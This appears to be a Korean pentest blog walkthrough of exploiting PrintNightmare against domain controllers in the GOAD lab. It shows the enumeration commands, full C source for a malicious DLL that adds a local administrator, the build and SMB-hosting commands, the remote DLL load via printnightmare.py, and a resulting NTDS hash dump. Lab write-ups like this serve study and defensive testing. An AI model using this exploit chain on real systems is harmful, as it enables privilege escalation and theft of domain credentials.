GOAD PrintNightmare
이번 포스팅에서는 CVE-2021-1675
, CVE-2021-34527
를 이용한 권한 상승 트릭인 PrintNightmare
를 통한 권한 상승을 포스팅한다.
PrintNightmare
PrintNightmare는 RpcAddPrinterDriver
의 결함으로 원격 인쇄와 드라이버 설치가 가능한 취약점으로 자세한 내용은 numanturle/PrintNightmare 또는 HackTricks-PrintNightmare에서 확인해 볼 수 있다.
Requirements
PrintNightmare 취약점이 성공하기 위해서 아래 조건이 필요하다.
- Spooler Service 활성화 (필수)
- 2021년 6월 이후 패치되지 않은 서버
- Pre Windows 2000 Compatibility 그룹이 있는 도메인 컨트롤러
- HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall 레지스트리가 0(DWORD)
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 레지스트리가 0(DWORD)
Exploit
위 PrintNightmare의 필수 요구사항 중 Spooler Service가 활성화된 대상을 찾기위해선 아래와 같이 netexec
의 SMB 커멘드 모듈인 spooler
를 통해 확인할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~]
└─# netexec smb '192.168.56.10' '192.168.56.11' '192.168.56.12' -d 'north.sevenkingdoms.local' -u 'samwell.tarly' -p 'Heartsbane' -M 'spooler'
SMB 192.168.56.10 445 KINGSLANDING [*] Windows 10.0 Build 17763 x64 (name:KINGSLANDING) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 192.168.56.11 445 WINTERFELL [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 192.168.56.12 445 MEEREEN [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:True)
SMB 192.168.56.10 445 KINGSLANDING [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
SMB 192.168.56.11 445 WINTERFELL [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
SMB 192.168.56.12 445 MEEREEN [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
SPOOLER 192.168.56.10 445 KINGSLANDING Spooler service enabled
SPOOLER 192.168.56.11 445 WINTERFELL Spooler service enabled
SPOOLER 192.168.56.12 445 MEEREEN Spooler service enabled
Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
하지만 printnightmare
모듈을 사용한다면 좀더 정확하게 취약한지 여부를 파악할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~/Desktop/GOAD/Vuln/PrintNightmare]
└─# netexec smb '192.168.56.10' '192.168.56.11' '192.168.56.12' -d 'north.sevenkingdoms.local' -u 'samwell.tarly' -p 'Heartsbane' -M 'printnightmare'
SMB 192.168.56.12 445 MEEREEN [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:True)
SMB 192.168.56.11 445 WINTERFELL [*] Windows 10.0 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 192.168.56.10 445 KINGSLANDING [*] Windows 10.0 Build 17763 x64 (name:KINGSLANDING) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 192.168.56.12 445 MEEREEN [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
PRINTNIG... 192.168.56.12 445 MEEREEN Vulnerable, next step https://github.com/ly4k/PrintNightmare
SMB 192.168.56.11 445 WINTERFELL [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
PRINTNIG... 192.168.56.11 445 WINTERFELL Vulnerable, next step https://github.com/ly4k/PrintNightmare
SMB 192.168.56.10 445 KINGSLANDING [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
PRINTNIG... 192.168.56.10 445 KINGSLANDING Vulnerable, next step https://github.com/ly4k/PrintNightmare
Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
또 다른 방식으로는 Impacket의 rpcdump.py
를 통해서도 확인이 가능하다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~/Desktop/GOAD/Vuln/PrintNightmare]
└─# impacket-rpcdump @192.168.56.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
┌──(root㉿kali)-[~/Desktop/GOAD/Vuln/PrintNightmare]
└─# impacket-rpcdump @192.168.56.11 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
┌──(root㉿kali)-[~/Desktop/GOAD/Vuln/PrintNightmare]
└─# impacket-rpcdump @192.168.56.12 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-RPRN]: Print System Remote Protocol
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
3개의 DC가 모두 취약한것으로 파악된다. 이번엔 meereen.essos.local
DC를 대상으로 공격을 진행한다. 진행에 앞서 새로운 관리자 계정을 생성하는 아래 코드를 DLL로 빌드하여 Spooler에 로드할 DLL을 준비한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
/*
* ADDUSER.C: creating a Windows user programmatically.
*/
#define UNICODE
#define _UNICODE
#include <windows.h>
#include <string.h>
#include <lmaccess.h>
#include <lmerr.h>
#include <tchar.h>
DWORD CreateAdminUserInternal(void)
{
NET_API_STATUS rc;
BOOL b;
DWORD dw;
USER_INFO_1 ud;
LOCALGROUP_MEMBERS_INFO_0 gd;
SID_NAME_USE snu;
DWORD cbSid = 256; // 256 bytes should be enough for everybody :)
BYTE Sid[256];
DWORD cbDomain = 256 / sizeof(TCHAR);
TCHAR Domain[256];
// Create user
memset(&ud, 0, sizeof(ud));
ud.usri1_name = _T("juicemon"); // username
ud.usri1_password = _T("123456"); // password
ud.usri1_priv = USER_PRIV_USER; // cannot set USER_PRIV_ADMIN on creation
ud.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT; // must be set
ud.usri1_script_path = NULL;
rc = NetUserAdd(
NULL, // local server
1, // information level
(LPBYTE)&ud,
NULL // error value
);
if (rc != NERR_Success) {
_tprintf(_T("NetUserAdd FAIL %d 0x%08x\r\n"), rc, rc);
return rc;
}
_tprintf(_T("NetUserAdd OK\r\n"), rc, rc);
// Get user SID
b = LookupAccountName(
NULL, // local server
ud.usri1_name, // account name
Sid, // SID
&cbSid, // SID size
Domain, // Domain
&cbDomain, // Domain size
&snu // SID_NAME_USE (enum)
);
if (!b) {
dw = GetLastError();
_tprintf(_T("LookupAccountName FAIL %d 0x%08x\r\n"), dw, dw);
return dw;
}
// Add user to "Administrators" local group
memset(&gd, 0, sizeof(gd));
gd.lgrmi0_sid = (PSID)Sid;
rc = NetLocalGroupAddMembers(
NULL, // local server
_T("Administrators"),
0, // information level
(LPBYTE)&gd,
1 // only one entry
);
if (rc != NERR_Success) {
_tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08x\r\n"), rc, rc);
return rc;
}
return 0;
}
//
// DLL entry point.
//
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateAdminUserInternal();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// RUNDLL32 entry point
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void __stdcall CreateAdminUser(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
{
CreateAdminUserInternal();
}
#ifdef __cplusplus
}
#endif
// Command-line entry point.
int main()
{
return CreateAdminUserInternal();
}
해당 코드를 MinGW를 통해 빌드 후 SMB를 통해 해당 DLL를 MEEREEN
에서 다운로드할 수 있도록 SMB 서버를 구성한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~/Desktop/GOAD/Vuln/PrintNightmare]
└─# x86_64-w64-mingw32-gcc -shared -o adduser.dll adduser.c -lnetapi32
┌──(root㉿kali)-[~/Desktop/GOAD/Vuln/PrintNightmare]
└─# impacket-smbserver share . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
모든 준비가 끝났으니 ly4k/PrintNightmare를 사용하여 생성한 DLL을 로드할 수 있도록한다.
모든 테스트가 마무리되면 MEEREEN의
C:\Windows\System32\spool\drivers\x64\3\old\1\adduser.dll
를 삭제해주자
1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~/…/GOAD/Vuln/PrintNightmare/PrintNightmare]
└─# python3 printnightmare.py -dll '\\192.168.56.31\share\adduser.dll' 'north.sevenkingdoms.local/samwell.tarly:Heartsbane@meereen.essos.local'
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_e233a12d01c18082\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\192.168.56.31\\share\\adduser.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL from: C:\Windows\System32\spool\drivers\x64\3\old\1\adduser.dll
실제로 ‘juicemon’이라는 관리자 계정이 생성됐는지 아래와 같이 확인할 수 있으며 NTDS 덤프까지 가능한것을 볼 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(root㉿kali)-[~/Desktop/GOAD/Vuln/PrintNightmare]
└─# netexec winrm '192.168.56.12' -u 'juicemon' -p '123456'
SMB 192.168.56.12 445 MEEREEN [*] Windows 10.0 Build 14393 (name:MEEREEN) (domain:essos.local)
WINRM 192.168.56.12 5985 MEEREEN [+] essos.local\juicemon:123456 (Pwn3d!)
┌──(root㉿kali)-[~/Desktop/GOAD/Vuln/PrintNightmare]
└─# netexec smb '192.168.56.12' -u 'juicemon' -p '123456' --ntds
[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] Y
SMB 192.168.56.12 445 MEEREEN [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True)
SMB 192.168.56.12 445 MEEREEN [+] essos.local\juicemon:123456 (Pwn3d!)
SMB 192.168.56.12 445 MEEREEN [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 192.168.56.12 445 MEEREEN Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::
SMB 192.168.56.12 445 MEEREEN Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.56.12 445 MEEREEN krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8f0d6bcacf5517689f510abbd804bd6d:::
SMB 192.168.56.12 445 MEEREEN DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.56.12 445 MEEREEN vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
SMB 192.168.56.12 445 MEEREEN daenerys.targaryen:1110:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a:::
SMB 192.168.56.12 445 MEEREEN viserys.targaryen:1111:aad3b435b51404eeaad3b435b51404ee:d96a55df6bef5e0b4d6d956088036097:::
SMB 192.168.56.12 445 MEEREEN khal.drogo:1112:aad3b435b51404eeaad3b435b51404ee:739120ebc4dd940310bc4bb5c9d37021:::
SMB 192.168.56.12 445 MEEREEN jorah.mormont:1113:aad3b435b51404eeaad3b435b51404ee:4d737ec9ecf0b9955a161773cfed9611:::
SMB 192.168.56.12 445 MEEREEN sql_svc:1114:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
SMB 192.168.56.12 445 MEEREEN pnightmare:1115:aad3b435b51404eeaad3b435b51404ee:58cf12d7448ca3ea7da502c83ee6a31e:::
SMB 192.168.56.12 445 MEEREEN pnightmare2:1116:aad3b435b51404eeaad3b435b51404ee:c103cafa49983dbcf3d8a1c951f46347:::
SMB 192.168.56.12 445 MEEREEN juicemon:1117:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
SMB 192.168.56.12 445 MEEREEN MEEREEN$:1001:aad3b435b51404eeaad3b435b51404ee:5f906acd20c947d558bb59bb9c81839d:::
SMB 192.168.56.12 445 MEEREEN BRAAVOS$:1104:aad3b435b51404eeaad3b435b51404ee:289ac5dd916eb5acbe73c627d5f38b10:::
SMB 192.168.56.12 445 MEEREEN SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:7e1a25051b4fd81640cd5b1182f522d6:::
SMB 192.168.56.12 445 MEEREEN [+] Dumped 16 NTDS hashes to /root/.nxc/logs/MEEREEN_192.168.56.12_2024-01-11_230047.ntds of which 13 were added to the database
SMB 192.168.56.12 445 MEEREEN [*] To extract only enabled accounts from the output file, run the following command:
SMB 192.168.56.12 445 MEEREEN [*] cat /root/.nxc/logs/MEEREEN_192.168.56.12_2024-01-11_230047.ntds | grep -iv disabled | cut -d ':' -f1
SMB 192.168.56.12 445 MEEREEN [*] grep -iv disabled /root/.nxc/logs/MEEREEN_192.168.56.12_2024-01-11_230047.ntds | cut -d ':' -f1
특정 서버에 접근하여 권한 상승이 필요할 경우 위와 같은 방식보단 John Hammond가 제작한 calebstewart/CVE-2021-1675를 사용하는것이 빠를 수 있다.
이렇게 PrintNightmare 취약점을 다뤄보았고 이번 포스팅은 여기서 마무리한다 :)